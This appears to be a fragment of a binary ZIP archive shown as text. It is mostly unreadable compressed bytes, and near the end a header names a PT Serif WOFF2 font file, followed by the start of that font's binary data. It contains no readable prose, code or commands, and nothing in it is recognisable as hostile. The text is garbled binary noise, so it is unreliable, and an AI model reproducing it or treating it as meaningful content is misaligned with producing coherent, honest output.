Y!Cza"9f[(t4?3O|=	ҽ(T`6kR7H4+ѿ19whT&c:R%NX-EHdU+?L"\fՆR)m`sN
!!U%.>}:3P>v[~@!w'/fT ,*svߵѵK)LKn	IIi+ڤ
6ex-Ba>	L Br{/#
Y9 XS@Nojh=΍xDm=PI?)G GSiB>tBhY>LHy61`WcĀM@<1Q;/J}5`N-Qi#7GDL2ՔU3yS#W; NH\rY6x|gw>0!!c>iAP,vЋ#M Aw%^??]ۦFJVtyC{HF{#kߥm1t@0vOOci<6k|Ў/1Ra)z{.di%tg:>GA#FuWQqC9eeZe'`l(Yӹ*oN3K>Qߧ嘃"tyH_7l=»bfNs,xasyxE0}<?n@NU3ytaYSksLv]I9
BiѲ@:G4MPGkr7rz=.3;5:NkK=!eH+~D~v5(Xnm;20omr`y(N2T%Ѐ?tA曧*DrANMsߡf0;970M+lGC? zMeZc:Jr &@碊Ok#s2qoAʆ?:B4$x)9?.CZABߤqEBCQwY&E%fnY"5780!,;;CJ
{I1A,&B	sfӞ˕,	g	OGy*X\TŞ>_R2$<7q1/⧥憵f(TD!0&tA)j`)#~:~U[C)Dʺ`1tE&7ׁg~-'sofhӿuAblBQt.x]uL|Ns8Y737\E RXl*	r3YaNiaEy*tupe[&p7H#gol"p۲|Avmݍ4<,.2uCw1pKqP_|FkFe{j<x7ߘ5Ht/g{;30dN'Bv&qPډya>~߾d~)	Oӊi"3p+V(-*fO5)$d6I)2ԠP턩A׃tO"Y1xW$0ryiOodsoA,Ӏ[F_FRPo>eA:fĀ<^z0,7s`'^aǖQN7w^&Lg}i ys[374gB)YrXɛd:2N/%$:mDT ^:KUdܴT/y9O)UpǗu6~9צ&[x:7;HNrqO򌓴-wv^X@3Qus B;+ihY*-G'o=䝕{->t^E{h3՝.ң;^V1~zrt{y)I_ԯ!6ۑۙoʗblD258w!qH:T!dy3d4~R<s홠S@l}:@9Ҏ5q%]}ut7	EjyP&&0$hI0fȬȹJvFRqUts}4Kַ Y'Yj6Ls:uc2Nj^i/Ziucϊ8wN_ݕKɋ*傒n=2fB#`}m԰>vVuE.`yl*TƓDPvy_M "Tln(+u]K#9gsZQ2QCM$m5VJ	[uRpe)l~vӮ(cwc}DrL	M$I%Ge]])
--t{q v'$Pa*$:9p{^2xwL^L͖kv'kz@\JK:TC]dGrCݩGP>&9.Րf"IӨjvPs8v-5S;TI4B9/OKݎNU|Խ:]+#؋O3Zצ&Ԅ2QB0pusЩG\cqi@UUf&2~FyUI̪OC`oް0w
Չ"q}&>}9kZ+*GUPL;`G]vv1fMZj- =uvTEŝ@ln/!gQbS0-Uj`GP-YT`$Io:	K WE$5Ahrw8}Խ4C臤E_(3E߷M
hQ	(W !yW%GiԖJI"Ѝ7Ŗ4cI$pLgFD>%87IȧX{1ɩݷJag ڌy2%ΐm~R*	jKEUiЛԔgw,Y7(KoYKbݛ&?c@~[^٩ǔy֩w孥;7/ºqwL^^E!s4Ԡz#Wܘ__-cl5,EieVj@K:ǣP\NZJ+'\vBq4/
8zToVd5LȄid5A? JFM@nd(7;Vam'ڼ$
b$u ˬ<-gZ/Z2qky%TWFs c4@PP!zt4i$WMvG[dDL:p
8Z{iW[JW 1ד%yp}dZ[66͂m! ^LT\}{cٽ==KBP|\&mCe6FH/_UH?++пy˟<+^CLiPBV:V{rGՎ;c]/ޙ~]]~w֣[U劜{SqE`Ϸ?PX2ʔlxܺؙȜJQ-?ϲn2B.'B`)&cuwhˇdddWu
ގ>VO.jDZymn\08<`>P҄oɏF\_eY8ANɇ\ܵ`D	ISGZk/ľ"Tl-?,4q4aMBl'E#ӹQ	yZIޕ.A>_p+UQ{X񡜢NH Q*8RjumW?jaÔ],ϐXbħ7>#AIB=l%U؉-_HxL`5OA
3/1&If#8Q㟌|G/T|XlR@AX#7iLi͆r[tF D͐ZO!61I"z%VEz0S_+J#'s0!2=pm"UrPۈ,<y2YX:|pFww8|1$^ezζ^juB5^~|{3 $RRKV%rj$3UFN,b+ks{݄xdu{tv1]zQ)q0fpAjrwNW}oMP7]R\cl9:_ρrp7< *-|N> [&{[L|:{h_x[ u_\H[Q%%j\.1db}|dv W<kU~vAjKS
Ip6]NMEDٸ2U?OAaSU#d:%hwTf!X@R$&J:dGnn6,
VgE#~@{>w''DPB9I/4QpzJ3Ϸ|QBkܢECl+ YQK8)^<
bK;PSR \@G8T 'n7>Nµ\*Kbr;"dR8ƓOgzp+{Ql~y6v U̹)$T5?Ъ3^QY?;ʼkKm.Cx%18_jyd|":)HcgG0N E<cq"GX$8%L'wwE[䧒J4Ě'`eTܼs]WZӆZmxCE8XDwzRB=|ljǌD!y_Qm1OЧJ9I
Ls4LLWw>-k17i {<A?o#(m^8DG0<[k̿ghy!{!*=fZY c߀	_3hϣy7gPb)!TnK^(6szXXtOz@'J]*_X%~(ZdN"Zè*KNd(J)vi";fp$Cý=4}z1$Y2CNk5«!e4/U^4=x8YW9W#hǧ3}e<G->mw% %'w*(OSPry [CHD;mBo>ƥ1ecxMgw'?Uk) I=Xnt>09ʄoZ֓ڜ~ Akw-V-ݛ+jmAY̂4f	P52iɽyVD&wjYGozVG]+tx;\kl!06#5[A&Qskn۰p]s0 E$70ӥж6@s-4Wتϋܓ jƝAY[6,k={7zw;Ö.HxlN(?/R+P1h;t{ <*5~_~FPn<kwI_ոp=,_7ÛcSjׯ?ĐՎ3?91xUIz	GL^E8Ws Zx vǯg@SBo P$p6V!|3"dTEE`A!Ғ0|e}`/muMW+t/dEeAnR[5]څҡRt#J
f[ՠUjn
h3reDtH#5&>݉Ͼ k$~>X X]JHncQﶥ#?ùW	M$0bPn#g
A=] kt]F`GJF0RDq6aXQDE(٢\뙽ߙRcaP;o
!XaFOFXsTA&7saQh1zbeq{|`UN	4֑-vZb
K	)i^B}VV{E3L˟8<CZs|-т=DȨ4$wEIo͉mʢ28Bj,ҡ=iY U٨&'PA)xTlj!;B~V=(:Q)΁	n%U=?Zٳv@l,jf~k|ܺnq@B'@aur"@ ?h\k2jdk+quG"B[)@*k^LsgL0إxp:n*2UwWFR*xc2RpTq_)`\,y`x2뭃q] KhFmwV@k1.d `0~?}ݓtv{ռ
gx[撩2,|	Y
%6%8A^EM0\0RkW/g@?Ss/O\I`xS9g8@մRѽ8b>X#p]057Qe[?Fg=Wf8h먻F5*nuۑU$	965K1B.MQ^]V*_0ѷGTlT0=Xqb^evlf/њ].XOp>NŐH6"5Gj>M #fER&jkٔd|",ѪLSN	`XCO	N4a`XC՚ܹ($bJRdV{m"׫О|+
?=*r33g)9L4JmH2YB %-M%K-F'1h*^zY0Ӡ	(/ÎSB̔H.Dvd?)N;S3{/\TڶϯI@}c)y_ɫWOғ;?춣TCu;7/>9Gal)p9U@I5xωq4}9F}msU{_{1ônk);ke؊.yM(ӎYL QwxrsVT½IMSؼ#" xoCỠ@<}⛇'|`{fyux2d@_#++a5+ua2|Ɓϵػ?]xH[X<ǑzD86.7!PkscPYN>xv9uQ;q 5c߈\kNN9qSm Z ÏH@eg
#x4L$`7׏[%M R=WIG*#Ɋj>Vkg[  _A a4л#G+W UcHzH`1|<Y@סESRpɁ,F&Jq|͇@W#$"ᆅ^k0ɮ<1z#g{Ѫa~A଀CQ?c0.m_d+ݟ<r%#\I|SymxbL	\.lU\&u2>k[\o'x+ި&Ons+YxIcSu)v%~?][O(xC8o xTAP\6<b`$,ɵ]& p 8$lQnR=<2V!$_uuҰ&=v7n)-o=h<e5UFnΫ`^ԡ%X8rE({lVM&36kd׉[ 0v\'Q	8Cwgp(rmnFu޼:G#܄ߑoM7ֳ\ݑ'rwk1tT\@bRԑK
rH\O3\zŽ[nh|XYy2Ȱ۹hMms<tУ
1BE|TQkFTDoQ,,!Фd\38x11Uz96^~F{Qۇh6CFfz01YwSrvZ5sbb5SӯzSRFdAV{>fABϽ۠.^V<̋S)2˦̽+ Ӣv=c:8v G~/ d&NEM5Uѕ+В0%;Y|$SIpF`|#{i'.N嬾H";TX'8-߄xl,B,Ѿ	TTzir̎'~پ*pm4+"\qhW_|䪗!˪=$6z넍K>cQbR0zMf-$%YbYRm"2D51&qBUpx5RȻj
oݳK}/oM)d9tH7m;&j{d8$H1_4V~#QeXqH|!6MwwCgOG\rdD<),j֒)Rn76w3bH5"j&3n)|?SULɊRǊh\H_)ZagĎ6LS6q(ĕ:hg 6e_ g:	4^jW=,U}b$#EՖtCIaV>i9t,%Q(shH56aS"D;9i@hcR-ޯI~|x ,bhbd$h1^*r&*pXz<b]FQ- nO

;@@'UÂ^S9/"ɶBqz(Kհ`PlrZ-e'WuTsTj7}0lb3<㑼b	J$me'|p(#)`qN=_Cwֺ(uQ KcaNϘu݄ρ"K0'%IxnUw;qQaXb&;M$`=Ќe3p0,ԣHB߫_M	h7Y)>[~Ňg  c+yS`hUP$:㲗T;3ߩ_ H&qrQ5aE.!	q. =2.-˗3q*ʼ
ռJn&6ظ-fL$04pJWTzaglX($_#z ]eRsy:ZC2K͚ļuV׮q8xپ^
Qrؓ# I F+s;,f	]DMڶ7,L<JhnU>}vND;ŵ.Jˋ-21b6ۀh~R1,gAjr)s7,Uk47A٧$<|mY3!=ACdaw0oĪ	q:z6!&0"SYa.-6OzWLɠ8K+SJ<hr񫅲"s0>?1=BP"l-"-P}+cv3.¹/q*0 '/VPQn07焨 _T˂;<{Ɵ'/QsחLxT"j,FNz܄ȏܮ3"-e-ZE5]Ooy^T@"rLM9D192L|d|0#ǉ#	&LnoVs[@߇W77'f§'ocwk4|
)Mxf.CK{	jmƧ|+Gc90]{U酧<!2au.`̾i"{ЛE  A~aÝ&A؝Yհauid-$
.陮u:+FA=B'3W,nX]EdȅMwlpMqܽn{a;X//<Gif8
`	JPVRҢJ5vSbTi}AefbloqO%YZis,vWk3Yɲ5h 
q_V(de9!}j6}u=X$m1?'!0}lC {=B9ܠ^l }BD/%: ?lRwHvE3$4J66/`<]{i^2yzR0E,Ϣ3-#_ʩR)'W&~r:4.O((q9Q+6&>b0Uөsu^9Z.׼kxrC0N33MP|JZo0]$"!\iPr&ty&"lYȚ_X|	{[P-^8XmXE1,(PvxK^aRpw {_;Y2(lu@P`?Dt!"OX}]R.>&jpᵑ>2CbM,_mCv%#OQ̻$N$%{|JiAZK
-OCKN\?o Izad zdC/y):MlIFCD RB=oln,jNwz `M_=?1M6j-wj(1cQ)@pid<[X;j1n3tKiOQ$
ҵ"Wx8
btC"2 ka{^1/̯_/X#i"@s<+w/{9}Q8^{
)᛿зx pY(f?4{A000$:2WuK'F|c|-_\\=Q8`ǂuLVKLl{Щ__"\SE)遍2l*\aϤj3,2nx$ x.:W\ÿ+jk6Jn=DQĳ3?F\v/y2xwx'ZN6T|2(lș;oq |rE^Ưϸ+Qk{낆Y}Eq$M,٭[u|OK#0:ޛy*I_dJg!vdw']$SNjˌo?	&3>xO؁&	G*M:َKRo<3vg6/إ4׻l;Yc~7	ԉKL]+DgCc
SU۵P*:ވpk.`bfY(<M~EH݄l_Ve'Zzm'qI$<2D)̈́*L^`
+X}˦_-ݏ`nO7"vT)?~!:;Fɗ^qćk'UGtY=Z+X]R\+8k=c+GOTeSUDO5Ihol-<a:\T/n,M,|z#υ8lKat>/jdkSgb7Zn~OJuD S4Gu؈~]Z6:ROu0:_t*Ų'5cz6t	pJgd5T@Y[,<HAF]{|
)SVQrzaG%/\&&&t_Y_lXz\1&Q\z*,6PZ(`QxfL-Ӌ扁F&M?tcKGP+d4^{3nCj6_7}h:lPgScWY[~qϙ(k>+rz(E49ظZ BG3=1ts
=L`0ʴgL	5o5VU*	exML6hB1d1Lb'RAm	2aDXl|{(m+򩂵/7z
 ی&^+}@T\AMf3SЯj=f 述c!Cd`V~;W'6RZtv߇}؇ᡃ`opIp+=ѳB,PmБz\lbaػQ-5B{(S^I48{vW##Ȫ]Y P߶UwyrNLOA_(tZ#
p8~'-r^zԫf!pz;~C7A.ke1\@F=BF ֩WAv1N;T͜CeV<B[,rk	~ީKSwG\E!@"&I͜!,ټ(HP
^v\weKײãl7`Sa^tX%|bHYCADm	xF-c'r+H[ͱ
?C{e^C8k#}%+5Cgp;p?lVʺ4Ev~Ec~vIwdж}6qb`FcR۸)D	'jקtP2D'vs0.~$`p8ڮёsM0}$Y+`Ӡ	Jv!M Shqq?ٕ_eW;aМ95lQXckb{]wISL
V
D]XTMObE,eH6D=&kH:Xiϸ*d_YՉv0%JR}ϒpwoy[qlH⨥g@~AM4VSOEgז>s1 Z߆#z):WCwVԆ[YO8a=_gχB,${Hd$##(zaQlO|EY{	}DY-pJQ2btA5&P%\2OdD}%c3GX7HRL32Ec\6Z!OD+Vs6MNS _>q9BTRg0΁]k4A^\j	"bL3h/w$ӽ߉D_%Ό`D!Q8xУlMrGEؚomԦè$ߴK,2\_q%vYvG0k:R/=;fTIz~MBىOـ,֭챾qB[,YdUy4tɊ?x^|Q/n~faa!7+"k}>Zkc8?<k):}ѻטg(`"*ؼ~Z E'NpeW=׼-=@x<eAR&Y{&(u/W*
m|u׿s:t&zZ.yr3FΗ/UM>fs_6zilݻo;[?WqGj'3s,0Az:uXf}WZ0|fq3XWO+e'<K!8UJ]BرĬDP_v,-:jy5!0{~NGQj1ЖAf|*䙌8!j|(v[*D@;LYr"WKxBl}I	gǝOLb@l0Ux_8@Q.3(kQ6Xb
J[
㌵ss%U۳2m*M~h<b+,űnye>EQ'6_C-Cs# *4ifPr (~x%tؖsirG{u)D8p Hc0	 Nhz B[ɛXAcFn5Z?pm!\g=GQ.ar&ø6gXTRpk(P@ajڸh)iiHPNP~FQ8iTHXS,P)0<+T"֭xiq_aLR`:MXm@Idp)O@eѕwV%T'sG]{PyIAzF.%kζmCr6BaL7b~H\@\\v|[?]u,a)C (Ӡ;4hRc']d`3Q$L
Ao_3YAo[$fa$Y'ν`ae	Z$<\B~U0`6	E]lPt$a?;(]L#	F/jbE(UhFwrkܤo*vW,HN{*vT-\dr_jBi3SmLhnZ$\RyZ\i3|ݚf\گdR]3@vf֖h<ݮ@TȁVB^Cv<$4ޅygTv@(JUͤ934caz<Cv:9b3LnzJ	M5 @)Bk	uϐ9}jd1h<iĄ-Օj8DG䬥֚ii<3Ss} fiYSѮD26;ZBj05qWڬsf~dߎzyv_<IƆ<Np?'f&ZtBw[UbB&=z< c2'];ĸ ƃq}`)_k=ΈGc.՚j]O0c215Mn:+	UYI~1q|b~R+uNh
JO08})*lI$a9Lr#HQ`e5#WrͣŘR(;`m^
,h"^՛w5 1axI0O#ҩ}GeP\h!Ԅ^
Je4ѲriOX[:dkOCbϵY[ǉGvCdCقC=T>R2BuIwlLȩm^5`K-|<v>D:F4tE1[}nl;
ܒ:(	yץރtЋOkT+	]A'pkX۵ľhElq&TT0)Y,U=0]O0VxED\Ҕԡ*п3!o|r\W*Ϧ8FSAFZօ}$Pc=!^$ł,SE"U  .!/K%bP*v;xa2ITjjK1YJ?FXn(`FLθ"vX[$ M{B&g&[)Oە[ٹwGm1%iP&ĪZXȯJ=/C=v0m&Z[켂m~u1&'U&>1o>#7H1|E).^#-P#-cq{S!JWz.\8n!B杗kȜZĚ[4c'z|q1<Ĳťv^$húG[/&=iR8~%&n5+$y#^ġ'7Uw`!Zhў
U_uJ-=;xW[T+^~Qg|c6w+
R(E2BJݪ[)wY-K}>!7jQ//ɞSni*nq;PԺચ^ZR紑T`uԟJ@mCaE	Wb[xH\=$B.ƍ8Rf,u0=mMuf{p^1"6Z(kK P	l+k\ESu/HK
vgb)[{:VB}qv +rƒ,m .N?l5oa-2"Q?C#[ y@{25q	p~0( s]-"\jIXÌx6)7'Z1Eʻ֩ƺGV)ڗLg@G|eLh
/.ښQI},8T~N쿞,!OqK#+[[NA5T C7Ba5Mɋ4"坩Ȯ+ٜvE[u}y[qF3Ո+wm߳3YgD<_`7Ə~S =O^^d5WKg
l*[ǂQ]PeTv֊8cL^;m_oܣjnNSnʚ;b)B9dܨ
I 
~ZwjcR(YAVfxo
|XhPx>髹ȫ>!"oS|,pAr}W K9Հ:D;y$iQ^99b{4e?/iuꆜKO5.E~}J;߫^T
MX0n*}^
yLbŦ;^Ru$·k\M%h0@[%}nWTF%NHMZBZo<%7FQjbU:Y&L(sk]d5)d1
-"SñP(g5:a4%ջm8Mt^ʗ2BAǠ_}$m2V@)T#LyԵG7n.tm x-@Ѿo'Xf[S8߻yxm~yTڔWɊ?d>uǌxDF&ĸ+X cڌ{@p Y7bҙF&HN͡\FŔ
VbghdiyJ0zMu(7geYYو\m}6~jt'XGZyr	lO/Ķ伎lG2澜d{gp0MW4^IY*)6jh& 8!
;xUK/o+I/vtmfYqiqp~hp剧dBf[gT'-+UĹȳCt,lnM?p,Ww8Kp[HK	&"GU0]aW^Փpuj+	B}$%J=%ڔ\ߢ	Wo*z3ҭ	/\PHӓ'68;^jJgWJXO8ALd/llkyyX\geItksTu#54K	{}p{m#>m\;uy̖hgK&Ǚ{o8
7
7cۺ9_uS7hqc?v$ǄGch*}6$4VqEWM$*Y ٸֻfq>'/.M>$#+JbDPL&0nZSbJCEiƸf;?Go劇y^O(%yoWf:A;ք=#<Z/5,ưJMk WlLH|mlN܏ťg%VtS}XBJᓷpbX@>pJqW B2RCB`zB\	FgӪI|]2IEQ~3OR5?UtNtӡn_|3v7ۮ%6HrsBaҮg4v
R=:ypk;{ΜJmc	\=kCB.g#bdإt㮐VH :fCYtwֈL'Luܥ\y|HJ/,9I/WQiv8i}xUQ֤A:cx?";%_%ǀ)hHQ̴y0^X4:kppQb3+pzÁp-ڔՐ*^T-`/-FeT4,d<}q;}1%`<t[.5Rs}QI3R +fq{](=Yw9cs"sp8!X7ɰV;g/H5VLu4|63mSӰlB}9<&R(USřy72K[IOs΂˹Q"ivɏT16@1Iy)B[~E%-yߺQpE,k A6qr^3q$WZFؐi$ÁR*UڗEG{@8(+@U?<9&I.=Xأl˃F?KnHGQPIJfF 	vqMXG.b^y[Fv*BV}tWz2'gUz]jE&~JZo\m}n"fHYN5Fܹ;^.&j.KSbtJջ(υޒ^,鮰ҷѥpݸSyI
iMJL	TҠ%_H"?#Sdfn
Ĉ1m"JI0޵.Z$m#2	Gw׶/=U*|ܸ\_"u)P-0EL$O{2@3D8SN3aquOnnό[~g4D.Ch=q)=_dp#?%3z'Jž,S(UՊUR1#,LkJa^_/}V_|iMq==t	w͚dYl<vekc[> ȝzۇJD@?HߝᐟLv)n*C'4|s]Xl!N]=ںt|яT@`R׏,5uDkK03izwY)2bH~\!+R%N7'N;޳*Ek~=$=\4E}Zi4seb=bJ\>q_1܏<ܭkN&888xR;]I@R:)ÍWVeu-Ð/)]Gㆠ63GD5XX׬/'m,Ypcy'}@-*.ւ+Vsxږ{d쯢`V[g/ݞ)o:ueR?h<c_!'U}x6uk;_h
1uoO9T$\\̍>ڍ]c[:~HLto7buھ	H;?v'l>EVfG[SZݒfK+OU ۺ{V>nDQ.r^}l~xdf8CL\7rPT  bn 9@>&Vci`ǰ4Y26Sg
a ٟ=tAx_s)IB⮞$aY|(gd9T"NߚnPM&дуLz	̈#EQ	>V"R*SC<ʅ5{EA\,K`s6	MT0V9H `~JA1j?LcedG/ 1Jc~{(I"CRU:"
e dtgj",ǚJ|BZvPZ,a&ne%NgLM_."r/-[
EKp0,EΜ H# qHV藨D,
zFh:%)!#J]+wFPp"9$;%Q>nQp<.1;*u6_249),k	:FT@2Ā:!$ˮ#ǩTxPKi}LU
-T2+j~ίfnxACۍ8FȤC
$t2ă2R(XĕEmUx#z
uFÝӢ#2/z=$bfČw7/13SB*R<j-~ ^zSVyh(kX%W$5W7LNXYpD$脖̊K<˩R'2xhrJBaHVxbzc:`r=Oq;f(%F hMf\>4kJVZpD2DԋduYF_+ev;gg$BԡH7+ۂZ&5xnkCoe&=+!}~=b$ D=@Y3Q9m,m.H}9U96 :*nOx6쎓sU#GZMR,q!A\:sB<xdzv&:&D6T૬ZU;tQ^0OYgW'*dͮ&$VtԩF[<POA$7&YkFjm5515mP
2^dXë4!z>b-+Wؼ3+%2WjN5D(p 9jwe~"V%C2f`_mz1΂X	G|FEwCYg9#*ίR 5j^_>IWUXR^6FOFͻfSJS?b\6N|*ί,kuصi)#u};!KFygr#KDzTU~I_M4}WB/mg^U4QGd|n7/Am6wVkۣkLͥwkg>1D>YGCrkE޿~p$|?9h;NW3uەQWlm)4׼%4Z0ӟSɽq)ګ?<88j)V3Y~D.o	U*UnK呣hR1JjZee|&jw
Pd)Ԋ ӊ受+95dWX(k8LV$z_TUKy09K񻵗1cΫ/ĔvkYાPYkY1V֚(9rk$̔_ʒz*5S W	JɄhXDIFN kEY^d/JJUaSr^{WXלxp eN2jX~KIӂ W)\ \XE˟4!*9[Tz15-aN7\r?"?p]KFᲴ3j/e"mXK
Ke2GuB1#@1)Dg	߈֍Jq;-HԘKʱmpYPs1oCG(kSW!:BɣyBlIIAA}T2P	檿S+RƝoYQS\S'PJܗw yO]mWyPtKuE*-1a`nUߊf\	RHQ::TUJs%-U9.UdxW6{Mz7%K
̌$EiSGa{oZrw&M.LCVOFI*䥙nsj,%1uIqSf'u T6D-'~Xvi0ǧh'A-#E.-	C?&0NC$1s3.<7  	nK+PՅKnҎHgόepfEc-ΛϪ,ԤD''VI1mʒ<Z{ܰ`֔n7<jp1S>΄pEr9TΝ/љFP*e )=*mNN{Zx0МOS#\ɡҎjФQ4CaoF&C\,9Q_čg\'T`ڧŀ¦Y>1RLIy9?A:ӵT{Zɷߴ4U$tUHM7*6qNޔ	i;R+{sϮ1t`zؚ#~;]ߋJnHf-)bZQhKJYY@>֞~<sԩSO1k{3x	T2Ƽw[kB!qi^_~)e<(b>P%/'l<hX{{xUXa/&g ƓAJh<Mb^wZqO{PSQ9c(B Rny"w0uHᎦw^iڰxߎpjtU4s\RxL.70`;3](V?j, y@Cj&|~~6A>%]'uiz@!ʛOY>moUaKRe͋s^cNǲT+B`yq3sG<}UM'CzVVo10taSrԖ~nuA;?-~ZUxCCѝ嶙:*9%RQ׾u WCp6鐭VvSڔe-^7<ZXޠm=F9T[HG*닍uQ"u=$)X~pKg	~}#6MGn4lk]|FyQJn[s}fjm_.?m3ŨjȠ"aϰt|u}ʟџmlqGkRݰ<|kCzstje>Z{ԭ^u,3DJ_A3.<w:9wrDLkR==T5@O+plٞoG:}oheG;Xuo.T@jΩRh`2aѶ?q8gv-{cڭ5vG}6gg	&w$~?GHqI:7ss}kCgwVo@{Ƈ;<nJ}5~.CóUN9b/Yyʸ(٬\$krX[cx}:+jkMeuFlx׍-45V?	N!^'^"7.??b87"m~Vlv&Cӥ\v,?d|\$\ a/PjA&e)#,6L8$M4FFɛ^:T| 2n;>;%jyT+O~9Ȝy0p,ld+	x a 7}ՓP@ 7{x^H!|ldװIk4+T ?Ve6i.Tp'
xS%JaR̏
df363Vظ*:;m"-jlK=Fxr#U՘LRsU-DB:fIg%t\)PObHdYZd` #_2ZY+1kAD9Ot/Je]`q0Im(UK=p&J+r̯8J4	1(,2dZ<y;LPN &qjaO_x&j;.7wO/oE%eU5uM-m]=D&fVA2,6"DJ8^%YQ50-q=?  k_{6`Ω=Dvt.R6~@W6i70NQ &q!6i70N1	e\Huڍ0'SXkg"L(B*mn\ʸf ¦mPV|ܩ3Ru4nfRhMѲk	/UN"a>v1_t?67-DY +a\F#Fc6*,sCtZ{Ư`/Yth6(tj2O6\GBOy/[ܸV3S=byRI;c0ӵrJ  PK     N\QX0X  0X  0  fonts/ptserif/EJRTQgYoZZY2vCFuvAFT_rO1chb-.woff2nu [        wOF2     X0     <  W                       ~` |J	
HN X6$0 Fg6}7
o3*r<d$g` r^
ZdÑ܂KY~R[R[g
pUfj؃Fm,
ϸ7>8[$ĕ,*=_Miù<3C+;sM
f8G"Ӹ2Jaڃ}>6=8k5S/{.UB.+-pK;wh
HH(E
cM7uӅ+UE}-˕ҥ7_NF3F4DJe)&rn9)SB~.5o tm8{.P4(0(n$	Jh	%@WtA`{lV@)`)zv(JZC#z,2ˑaxhߚB"_o+a.ᑳ^0g ,{1`D$۞$M28}9eHuVkS #=-YVHD	  ClEe{wƪ:^@>S:=E_wJJ)P9)ӁY鮐@'f $j3pyb2#ZмD<6i1i_Ӿˇ2'
̛'H?,/,gK xAPV)S]YeXHSJ8n8KܾHA#VY2 *+
bjA

ɁR{Aw^ǟיO>zQfJ#cƂ%˺D#9u9c)u©ӚS5M`+^EYԱ΃.`AY:|U{XIǥɍC0	ZK]ĚY;H^w/b^r0lۉەu
$% Ѓx~ S'@8)LBet<|6pҠ1=~9FMG+HGqQf`D"E!%%G
Uj2Z3}ǽsS"u`
T{xp]$x&	Z`tB_4Y@%j΢|HA0AT	%K`a왟=fe0Qe6{\юl]3t3N'WD
gQ$:m؜MƜ)^\6VCt` T@786%>IѠ	nC3Z7 \.q۪2羍zWݽMW^R7y_*2wiG7,V;qdgճo{`˛V{mѯ_De/r¹.I}4WK ,̙֙ I
,g(TR3D|K?>/" bb
 #@F!B@I(R 9+WFj5|k4_-L5lj6Sj\<4]%kIa6ޙ9J$(($*I!XAA$QQT0(:x=b<G0(Vdy\QI/<R'o&(b!<ҩKE"bZO?Av`|y^(Lz斎:((B	,A&9`@,w;o3("ַ>Aٿw/;SlF c>AO !17`䆦t}KPMJ9)1$ͦd,):衏GjBц(4JJ5ucȁov%,?	^hqb9|^_]ɮy4L6Iu2'Ȍ22&V<Z'K	{9|
$1@AUmW>:?Թ,TB[V^3 SAQ!1mdˍB.aQ5Q2b\ DTĎ	Tq[ܢ6+2E#y.Ż|Rx!cP)S'*\#:fԏg#Y}$*TX0KMQ!	 PС7A-
r6|X/_ :  {Lm`G
??qa"eq}e+0ϮŅ^пX=?g1E_,j2E$[eҬaFV堎ĸ9Y7['4MAuuPY2*<Zż|AE[\.IѾ]Fwχ6^fɰ+f;a5irDQ*ZN]4ĺNGsM)EGL rcdP aH&@%	Wh5G;Z(`BԎ -AVa PW3cj@r ZL"+_.QoYB@x)\K
ke-@`	R\=[8za9VV)2Hjs\#(e̊ݕN^Ǹ)=):bG@	BM#U/\/h-%`k;^:<J؎ EWi_7/ūN5jݗuڮM^02.ANdS+ّWՕBcJGdE)nW?b񶲶(+~;ɹ[=4K6_KFdFDC
	i8įEZ˙2)6p<`/ujeLNHN W)8ȵL(kƘ7E{n(=m$݃iz[slקpG/
@CA	;n倜pͲX/ddtI%+ayZ JVT}},[ dX\w'ծXܪ>Ίn%Eh֖h@e\2Bm`_k]79cLpx[^T V=0\9T"B82bG[":#UwivWS`TFsH?pĚ?͎'R8109k~zLH컡HaO'`G;*!_n:pgd*i?xۄln&MOT5P7z{˝vu6hdx|lLl#J#+J)Xb]^dh̨>dah4uvv̢5Ɍ|jؕSO)%"@W׊_߲ySѢ˒fUJBIR?S0 ]6yBx<r.Z\*SRR-G}ke7ҬWp!/!pO`]jK8FHA_[Kn.H2SY4
P=GDEQPRڱ+2DƋ%Çoi\
4PEҘXTlKaGz:g/(#G	0$+ÁXa`#DS那ڛ@ZKӜ\.UKk*pg9a
[O+X,b)iӲ$RjR7$$ޜc/M$[P2в?ᾹWN!CTK73ja}E-\5'QUomCD3 e&ec|:APܪң:kdEt.
{uf/RO+MXA&Td洳BcԘ\'xQ`"B\Vj|ߑ|g>iYWkoݿH܏ü7V021J`Ʈ3>ڍ*('/¬>hd<=`<n USԦDԮt@d	Jt0xO"AW^\0[dN|<Ƹb){1d&|]b!noC}zVwԂ2Z=9q(HSLT1QFǋ
KW
Ɲnu&e̠aTƇ,0z'ެ-ev~`$r3{{D5qWgQ_?{tz՛6JA+\h~/?CXEAO/ˡ$C  bQhXyXm5~$i$1DĨz)#K_6Df:CF)* 隆X$дx-F8oR<IAz`ʑ%V-#ڻlK_|t5qL߷JU!/K@7FSF"vm,go#$t\t[;funUTa]W5^EGǶݷY?_e9[dYͩbIrK턕 &zǛtҢSzP[,\V$tHmdŖM$ԧ? uvTï/]"Jѝ.>v(&OLuҘ/r{A:nmWK*RlJkH	׺Hh3o2jjM 7#%t"Ld8K^<l~ro>cO{ޡVG?FJ>83|f{qt*ZI%!|sYC;u3jp^[:>۲|L2hnRm]x
eY9[Ίr8VG(-ΐtpJ/!nou>qonX?Ş8%Ut4H{`kU?&zV9[Uw⇬v7)Zv}ž}%|ö-VOPVֲ3h@S綔E'¶(]V̉sn8\y[L)uɺ	홭L7қQIBa+0R72uuM{QK	NULJ?M?ڎl׵:Ə͍ eWn7
3uaq-WGבL<+S9d>xlonႪZ^$kM	H^BL=iSUZ^'(VcE<t2Ve,#JuziϕtUm#^=+\7[
<ǵ.5oţŌcR-ƽ7Kv&W9QW Gc?I?Lugڑ^Sz(7Mb\>%SudLžFF)<u;g(k,9Z.yg]^aϰUys8&70XXyk[;SCYNs䴢ZE" v:N˗YՀߊ!-YpҩKs鈏N4} }DU3u$$N883eⷙ
+Db\(JH6Xꍖ4 O?L$g1äJllWSNyh8-0/Zf͖a*4J*s w-ʻHs5mt6qbǊ6b	BcLe`7GB*wQ'fSݾhv-;jJOn`r-c6d<g+\L6eşD2j8{v
'l-Ĳqkk=&8,}YH'?Ӳ]l7p9[xRY.t GmJ&OwD6>vij?qMLʴHmq.N=I`'/Ki1t*cO۟svMl	RK}ay_#qt" ~A9w"QV\o+TڀLX-Cy٤,Ogxk]Ę\u_>T6R	9/&)?\z +P^!F]'A@NɾU)^Mϱ.3|4	f>+/Glۋ1{J//)*BÐDPK\peVwn٨[II	hu>*jb4JAT	CFR0Y
